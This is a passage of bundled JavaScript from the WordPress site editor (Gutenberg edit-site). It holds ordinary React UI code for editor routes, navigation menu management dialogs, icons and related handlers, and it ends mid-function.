          createSuccessNotice((0,external_wp_i18n_namespaceObject.sprintf)(
          // translators: %s: Title of the created post or template, e.g: "Hello world".
          (0,external_wp_i18n_namespaceObject.__)('"%s" successfully created.'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(_title)), {
            type: 'snackbar',
            id: 'duplicate-post-action',
            actions: [{
              label: (0,external_wp_i18n_namespaceObject.__)('Edit'),
              onClick: () => {
                history.navigate(`/${newItem.type}/${newItem.id}?canvas=edit`);
              }
            }]
          });
        }
        break;
    }
  }, [postType, context?.postType, postWithTemplate, history, createSuccessNotice]);

  // Replace the title and icon displayed in the DocumentBar when there's an overlay visible.
  const title = getEditorCanvasContainerTitle(editorCanvasView);
  const isReady = !isLoading;
  const transition = {
    duration: disableMotion ? 0 : 0.2
  };
  return !isBlockBasedTheme && isHomeRoute ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SitePreview, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesRenderer, {
      disableRootPadding: postType !== TEMPLATE_POST_TYPE
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.EditorKeyboardShortcutsRegister, {}), isEditMode && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockKeyboardShortcuts, {}), !isReady ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CanvasLoader, {
      id: loadingProgressId
    }) : null, isEditMode && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WelcomeGuide, {
      postType: postWithTemplate ? context.postType : postType
    }), isReady && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(Editor, {
      postType: postWithTemplate ? context.postType : postType,
      postId: postWithTemplate ? context.postId : postId,
      templateId: postWithTemplate ? postId : undefined,
      settings: settings,
      className: "edit-site-editor__editor-interface",
      styles: styles,
      customSaveButton: _isPreviewingTheme && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SaveButton, {
        size: "compact"
      }),
      customSavePanel: _isPreviewingTheme && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SavePanel, {}),
      forceDisableBlockTools: !hasDefaultEditorCanvasView,
      title: title,
      iframeProps: iframeProps,
      onActionPerformed: onActionPerformed,
      extraSidebarPanels: !postWithTemplate && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(plugin_template_setting_panel.Slot, {}),
      children: [isEditMode && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BackButton, {
        children: ({
          length
        }) => length <= 1 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__unstableMotion.div, {
          className: "edit-site-editor__view-mode-toggle",
          transition: transition,
          animate: "edit",
          initial: "edit",
          whileHover: "hover",
          whileTap: "tap",
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            __next40pxDefaultSize: true,
            label: (0,external_wp_i18n_namespaceObject.__)('Open Navigation'),
            showTooltip: true,
            tooltipPosition: "middle right",
            onClick: () => {
              resetZoomLevel();

              // TODO: this is a temporary solution to navigate to the posts list if we are
              // come here through `posts list` and are in focus mode editing a template, template part etc..
              if (isPostsList && location.query?.focusMode) {
                history.navigate('/', {
                  transition: 'canvas-mode-view-transition'
                });
              } else {
                history.navigate(getNavigationPath(location, postWithTemplate ? context.postType : postType), {
                  transition: 'canvas-mode-view-transition'
                });
              }
            },
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
              variants: siteIconVariants,
              children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(site_icon, {
                className: "edit-site-editor__view-mode-toggle-icon"
              })
            })
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.div, {
            className: dist_clsx('edit-site-editor__back-icon', {
              'has-site-icon': hasSiteIcon
            }),
            variants: toggleHomeIconVariants,
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon, {
              icon: arrow_up_left
            })
          })]
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MoreMenu, {}), isBlockBasedTheme && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesSidebar, {})]
    })]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/utils.js
/**
 * Check if the classic theme supports the stylebook.
 *
 * @param {Object} siteData - The site data provided by the site editor route area resolvers.
 * @return {boolean} True if the stylebook is supported, false otherwise.
 */
function isClassicThemeWithStyleBookSupport(siteData) {
  const isBlockTheme = siteData.currentTheme?.is_block_theme;
  const supportsEditorStyles = siteData.currentTheme?.theme_supports['editor-styles'];
  // This is a temp solution until the has_theme_json value is available for the current theme.
  const hasThemeJson = siteData.editorSettings?.supportsLayout;
  return !isBlockTheme && (supportsEditorStyles || hasThemeJson);
}

;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/home.js
/**
 * Internal dependencies
 */





const homeRoute = {
  name: 'home',
  path: '/',
  areas: {
    sidebar({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenMain, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
    },
    preview({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {
        isHomeRoute: true
      }) : undefined;
    },
    mobile({
      siteData
    }) {
      const isBlockTheme = siteData.currentTheme?.is_block_theme;
      return isBlockTheme || isClassicThemeWithStyleBookSupport(siteData) ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenMain, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
    }
  }
};

;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/styles.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */






const {
  useLocation: styles_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function MobileGlobalStylesUI() {
  const {
    query = {}
  } = styles_useLocation();
  const {
    canvas
  } = query;
  if (canvas === 'edit') {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {});
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesUIWrapper, {});
}
const stylesRoute = {
  name: 'styles',
  path: '/styles',
  areas: {
    content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesUIWrapper, {}),
    sidebar: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenGlobalStyles, {
      backPath: "/"
    }),
    preview({
      query
    }) {
      const isStylebook = query.preview === 'stylebook';
      return isStylebook ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(StyleBookPreview, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {});
    },
    mobile: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MobileGlobalStylesUI, {})
  },
  widths: {
    content: 380
  }
};

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/constants.js
// This requested is preloaded in `gutenberg_preload_navigation_posts`.
// As unbounded queries are limited to 100 by `fetchAllMiddleware`
// on apiFetch this query is limited to 100.
// These parameters must be kept aligned with those in
// lib/compat/wordpress-6.3/navigation-block-preloading.php
// and
// block-library/src/navigation/constants.js
const PRELOADED_NAVIGATION_MENUS_QUERY = {
  per_page: 100,
  status: ['publish', 'draft'],
  order: 'desc',
  orderby: 'date'
};

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/rename-modal.js
/**
 * WordPress dependencies
 */




const notEmptyString = testString => testString?.trim()?.length > 0;
function RenameModal({
  menuTitle,
  onClose,
  onSave
}) {
  const [editedMenuTitle, setEditedMenuTitle] = (0,external_wp_element_namespaceObject.useState)(menuTitle);
  const titleHasChanged = editedMenuTitle !== menuTitle;
  const isEditedMenuTitleValid = titleHasChanged && notEmptyString(editedMenuTitle);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
    title: (0,external_wp_i18n_namespaceObject.__)('Rename'),
    onRequestClose: onClose,
    focusOnMount: "firstContentElement",
    size: "small",
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
      className: "sidebar-navigation__rename-modal-form",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
        spacing: "3",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
          __nextHasNoMarginBottom: true,
          __next40pxDefaultSize: true,
          value: editedMenuTitle,
          placeholder: (0,external_wp_i18n_namespaceObject.__)('Navigation title'),
          onChange: setEditedMenuTitle,
          label: (0,external_wp_i18n_namespaceObject.__)('Name')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
          justify: "right",
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            __next40pxDefaultSize: true,
            variant: "tertiary",
            onClick: onClose,
            children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            __next40pxDefaultSize: true,
            accessibleWhenDisabled: true,
            disabled: !isEditedMenuTitleValid,
            variant: "primary",
            type: "submit",
            onClick: e => {
              e.preventDefault();
              if (!isEditedMenuTitleValid) {
                return;
              }
              onSave({
                title: editedMenuTitle
              });

              // Immediate close avoids ability to hit save multiple times.
              onClose();
            },
            children: (0,external_wp_i18n_namespaceObject.__)('Save')
          })]
        })]
      })
    })
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/delete-confirm-dialog.js
/**
 * WordPress dependencies
 */



function DeleteConfirmDialog({
  onClose,
  onConfirm
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
    isOpen: true,
    onConfirm: () => {
      onConfirm();

      // Immediate close avoids ability to hit delete multiple times.
      onClose();
    },
    onCancel: onClose,
    confirmButtonText: (0,external_wp_i18n_namespaceObject.__)('Delete'),
    size: "medium",
    children: (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to delete this Navigation Menu?')
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/more-menu.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */




const {
  useHistory: more_menu_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
const POPOVER_PROPS = {
  position: 'bottom right'
};
function ScreenNavigationMoreMenu(props) {
  const {
    onDelete,
    onSave,
    onDuplicate,
    menuTitle,
    menuId
  } = props;
  const [renameModalOpen, setRenameModalOpen] = (0,external_wp_element_namespaceObject.useState)(false);
  const [deleteConfirmDialogOpen, setDeleteConfirmDialogOpen] = (0,external_wp_element_namespaceObject.useState)(false);
  const history = more_menu_useHistory();
  const closeModals = () => {
    setRenameModalOpen(false);
    setDeleteConfirmDialogOpen(false);
  };
  const openRenameModal = () => setRenameModalOpen(true);
  const openDeleteConfirmDialog = () => setDeleteConfirmDialogOpen(true);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropdownMenu, {
      className: "sidebar-navigation__more-menu",
      label: (0,external_wp_i18n_namespaceObject.__)('Actions'),
      icon: more_vertical,
      popoverProps: POPOVER_PROPS,
      children: ({
        onClose
      }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, {
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
            onClick: () => {
              openRenameModal();
              // Close the dropdown after opening the modal.
              onClose();
            },
            children: (0,external_wp_i18n_namespaceObject.__)('Rename')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
            onClick: () => {
              history.navigate(`/wp_navigation/${menuId}?canvas=edit`);
            },
            children: (0,external_wp_i18n_namespaceObject.__)('Edit')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
            onClick: () => {
              onDuplicate();
              onClose();
            },
            children: (0,external_wp_i18n_namespaceObject.__)('Duplicate')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
            isDestructive: true,
            onClick: () => {
              openDeleteConfirmDialog();

              // Close the dropdown after opening the modal.
              onClose();
            },
            children: (0,external_wp_i18n_namespaceObject.__)('Delete')
          })]
        })
      })
    }), deleteConfirmDialogOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DeleteConfirmDialog, {
      onClose: closeModals,
      onConfirm: onDelete
    }), renameModalOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(RenameModal, {
      onClose: closeModals,
      menuTitle: menuTitle,
      onSave: onSave
    })]
  });
}

;// ./node_modules/@wordpress/icons/build-module/library/chevron-up.js
/**
 * WordPress dependencies
 */


const chevronUp = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z"
  })
});
/* harmony default export */ const chevron_up = (chevronUp);

;// ./node_modules/@wordpress/icons/build-module/library/chevron-down.js
/**
 * WordPress dependencies
 */


const chevronDown = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z"
  })
});
/* harmony default export */ const chevron_down = (chevronDown);

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/leaf-more-menu.js
/**
 * WordPress dependencies
 */








const leaf_more_menu_POPOVER_PROPS = {
  className: 'block-editor-block-settings-menu__popover',
  placement: 'bottom-start'
};

/**
 * Internal dependencies
 */


const {
  useHistory: leaf_more_menu_useHistory,
  useLocation: leaf_more_menu_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function LeafMoreMenu(props) {
  const history = leaf_more_menu_useHistory();
  const {
    path
  } = leaf_more_menu_useLocation();
  const {
    block
  } = props;
  const {
    clientId
  } = block;
  const {
    moveBlocksDown,
    moveBlocksUp,
    removeBlocks
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
  const removeLabel = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: block name */
  (0,external_wp_i18n_namespaceObject.__)('Remove %s'), (0,external_wp_blockEditor_namespaceObject.BlockTitle)({
    clientId,
    maximumLength: 25
  }));
  const goToLabel = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: block name */
  (0,external_wp_i18n_namespaceObject.__)('Go to %s'), (0,external_wp_blockEditor_namespaceObject.BlockTitle)({
    clientId,
    maximumLength: 25
  }));
  const rootClientId = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getBlockRootClientId
    } = select(external_wp_blockEditor_namespaceObject.store);
    return getBlockRootClientId(clientId);
  }, [clientId]);
  const onGoToPage = (0,external_wp_element_namespaceObject.useCallback)(selectedBlock => {
    const {
      attributes,
      name
    } = selectedBlock;
    if (attributes.kind === 'post-type' && attributes.id && attributes.type && history) {
      history.navigate(`/${attributes.type}/${attributes.id}?canvas=edit`, {
        state: {
          backPath: path
        }
      });
    }
    if (name === 'core/page-list-item' && attributes.id && history) {
      history.navigate(`/page/${attributes.id}?canvas=edit`, {
        state: {
          backPath: path
        }
      });
    }
  }, [path, history]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropdownMenu, {
    icon: more_vertical,
    label: (0,external_wp_i18n_namespaceObject.__)('Options'),
    className: "block-editor-block-settings-menu",
    popoverProps: leaf_more_menu_POPOVER_PROPS,
    noIcons: true,
    ...props,
    children: ({
      onClose
    }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
          icon: chevron_up,
          onClick: () => {
            moveBlocksUp([clientId], rootClientId);
            onClose();
          },
          children: (0,external_wp_i18n_namespaceObject.__)('Move up')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
          icon: chevron_down,
          onClick: () => {
            moveBlocksDown([clientId], rootClientId);
            onClose();
          },
          children: (0,external_wp_i18n_namespaceObject.__)('Move down')
        }), block.attributes?.type === 'page' && block.attributes?.id && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
          onClick: () => {
            onGoToPage(block);
            onClose();
          },
          children: goToLabel
        })]
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
          onClick: () => {
            removeBlocks([clientId], false);
            onClose();
          },
          children: removeLabel
        })
      })]
    })
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/navigation-menu-content.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */



const {
  PrivateListView
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);

// Needs to be kept in sync with the query used at packages/block-library/src/page-list/edit.js.
const MAX_PAGE_COUNT = 100;
const PAGES_QUERY = ['postType', 'page', {
  per_page: MAX_PAGE_COUNT,
  _fields: ['id', 'link', 'menu_order', 'parent', 'title', 'type'],
  // TODO: When https://core.trac.wordpress.org/ticket/39037 REST API support for multiple orderby
  // values is resolved, update 'orderby' to [ 'menu_order', 'post_title' ] to provide a consistent
  // sort.
  orderby: 'menu_order',
  order: 'asc'
}];
function NavigationMenuContent({
  rootClientId
}) {
  const {
    listViewRootClientId,
    isLoading
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      areInnerBlocksControlled,
      getBlockName,
      getBlockCount,
      getBlockOrder
    } = select(external_wp_blockEditor_namespaceObject.store);
    const {
      isResolving
    } = select(external_wp_coreData_namespaceObject.store);
    const blockClientIds = getBlockOrder(rootClientId);
    const hasOnlyPageListBlock = blockClientIds.length === 1 && getBlockName(blockClientIds[0]) === 'core/page-list';
    const pageListHasBlocks = hasOnlyPageListBlock && getBlockCount(blockClientIds[0]) > 0;
    const isLoadingPages = isResolving('getEntityRecords', PAGES_QUERY);
    return {
      listViewRootClientId: pageListHasBlocks ? blockClientIds[0] : rootClientId,
      // This is a small hack to wait for the navigation block
      // to actually load its inner blocks.
      isLoading: !areInnerBlocksControlled(rootClientId) || isLoadingPages
    };
  }, [rootClientId]);
  const {
    replaceBlock,
    __unstableMarkNextChangeAsNotPersistent
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
  const offCanvasOnselect = (0,external_wp_element_namespaceObject.useCallback)(block => {
    if (block.name === 'core/navigation-link' && !block.attributes.url) {
      __unstableMarkNextChangeAsNotPersistent();
      replaceBlock(block.clientId, (0,external_wp_blocks_namespaceObject.createBlock)('core/navigation-link', block.attributes));
    }
  }, [__unstableMarkNextChangeAsNotPersistent, replaceBlock]);

  // The hidden block is needed because it makes block edit side effects trigger.
  // For example a navigation page list load its items has an effect on edit to load its items.
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [!isLoading && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PrivateListView, {
      rootClientId: listViewRootClientId,
      onSelect: offCanvasOnselect,
      blockSettingsMenu: LeafMoreMenu,
      showAppender: false
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "edit-site-sidebar-navigation-screen-navigation-menus__helper-block-editor",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockList, {})
    })]
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/navigation-menu-editor.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */




const navigation_menu_editor_noop = () => {};
function NavigationMenuEditor({
  navigationMenuId
}) {
  const {
    storedSettings
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getSettings
    } = unlock(select(store));
    return {
      storedSettings: getSettings()
    };
  }, []);
  const blocks = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (!navigationMenuId) {
      return [];
    }
    return [(0,external_wp_blocks_namespaceObject.createBlock)('core/navigation', {
      ref: navigationMenuId
    })];
  }, [navigationMenuId]);
  if (!navigationMenuId || !blocks?.length) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockEditorProvider, {
    settings: storedSettings,
    value: blocks,
    onChange: navigation_menu_editor_noop,
    onInput: navigation_menu_editor_noop,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "edit-site-sidebar-navigation-screen-navigation-menus__content",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationMenuContent, {
        rootClientId: blocks[0].clientId
      })
    })
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/build-navigation-label.js
/**
 * WordPress dependencies
 */



// Copied from packages/block-library/src/navigation/edit/navigation-menu-selector.js.
function buildNavigationLabel(title, id, status) {
  if (!title?.rendered) {
    /* translators: %s: the index of the menu in the list of menus. */
    return (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)('(no title %s)'), id);
  }
  if (status === 'publish') {
    return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title?.rendered);
  }
  return (0,external_wp_i18n_namespaceObject.sprintf)(
  // translators: 1: title of the menu. 2: status of the menu (draft, pending, etc.).
  (0,external_wp_i18n_namespaceObject._x)('%1$s (%2$s)', 'menu label'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title?.rendered), status);
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/single-navigation-menu.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */





function SingleNavigationMenu({
  navigationMenu,
  backPath,
  handleDelete,
  handleDuplicate,
  handleSave
}) {
  const menuTitle = navigationMenu?.title?.rendered;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenWrapper, {
    actions: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ScreenNavigationMoreMenu, {
        menuId: navigationMenu?.id,
        menuTitle: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(menuTitle),
        onDelete: handleDelete,
        onSave: handleSave,
        onDuplicate: handleDuplicate
      })
    }),
    backPath: backPath,
    title: buildNavigationLabel(navigationMenu?.title, navigationMenu?.id, navigationMenu?.status),
    description: (0,external_wp_i18n_namespaceObject.__)('Navigation Menus are a curated collection of blocks that allow visitors to get around your site.'),
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationMenuEditor, {
      navigationMenuId: navigationMenu?.id
    })
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/index.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */







const {
  useLocation: sidebar_navigation_screen_navigation_menu_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
const postType = `wp_navigation`;
function SidebarNavigationScreenNavigationMenu({
  backPath
}) {
  const {
    params: {
      postId
    }
  } = sidebar_navigation_screen_navigation_menu_useLocation();
  const {
    record: navigationMenu,
    isResolving
  } = (0,external_wp_coreData_namespaceObject.useEntityRecord)('postType', postType, postId);
  const {
    isSaving,
    isDeleting
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      isSavingEntityRecord,
      isDeletingEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    return {
      isSaving: isSavingEntityRecord('postType', postType, postId),
      isDeleting: isDeletingEntityRecord('postType', postType, postId)
    };
  }, [postId]);
  const isLoading = isResolving || isSaving || isDeleting;
  const menuTitle = navigationMenu?.title?.rendered || navigationMenu?.slug;
  const {
    handleSave,
    handleDelete,
    handleDuplicate
  } = useNavigationMenuHandlers();
  const _handleDelete = () => handleDelete(navigationMenu);
  const _handleSave = edits => handleSave(navigationMenu, edits);
  const _handleDuplicate = () => handleDuplicate(navigationMenu);
  if (isLoading) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenWrapper, {
      description: (0,external_wp_i18n_namespaceObject.__)('Navigation Menus are a curated collection of blocks that allow visitors to get around your site.'),
      backPath: backPath,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {
        className: "edit-site-sidebar-navigation-screen-navigation-menus__loading"
      })
    });
  }
  if (!isLoading && !navigationMenu) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenWrapper, {
      description: (0,external_wp_i18n_namespaceObject.__)('Navigation Menu missing.'),
      backPath: backPath
    });
  }
  if (!navigationMenu?.content?.raw) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenWrapper, {
      actions: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ScreenNavigationMoreMenu, {
        menuId: navigationMenu?.id,
        menuTitle: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(menuTitle),
        onDelete: _handleDelete,
        onSave: _handleSave,
        onDuplicate: _handleDuplicate
      }),
      backPath: backPath,
      title: buildNavigationLabel(navigationMenu?.title, navigationMenu?.id, navigationMenu?.status),
      description: (0,external_wp_i18n_namespaceObject.__)('This Navigation Menu is empty.')
    });
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SingleNavigationMenu, {
    navigationMenu: navigationMenu,
    backPath: backPath,
    handleDelete: _handleDelete,
    handleSave: _handleSave,
    handleDuplicate: _handleDuplicate
  });
}

;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menu/use-navigation-menu-handlers.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */



const {
  useHistory: use_navigation_menu_handlers_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
function useDeleteNavigationMenu() {
  const {
    deleteEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const {
    createSuccessNotice,
    createErrorNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const history = use_navigation_menu_handlers_useHistory();
  const handleDelete = async navigationMenu => {
    const postId = navigationMenu?.id;
    try {
      await deleteEntityRecord('postType', postType, postId, {
        force: true
      }, {
        throwOnError: true
      });
      createSuccessNotice((0,external_wp_i18n_namespaceObject.__)('Navigation Menu successfully deleted.'), {
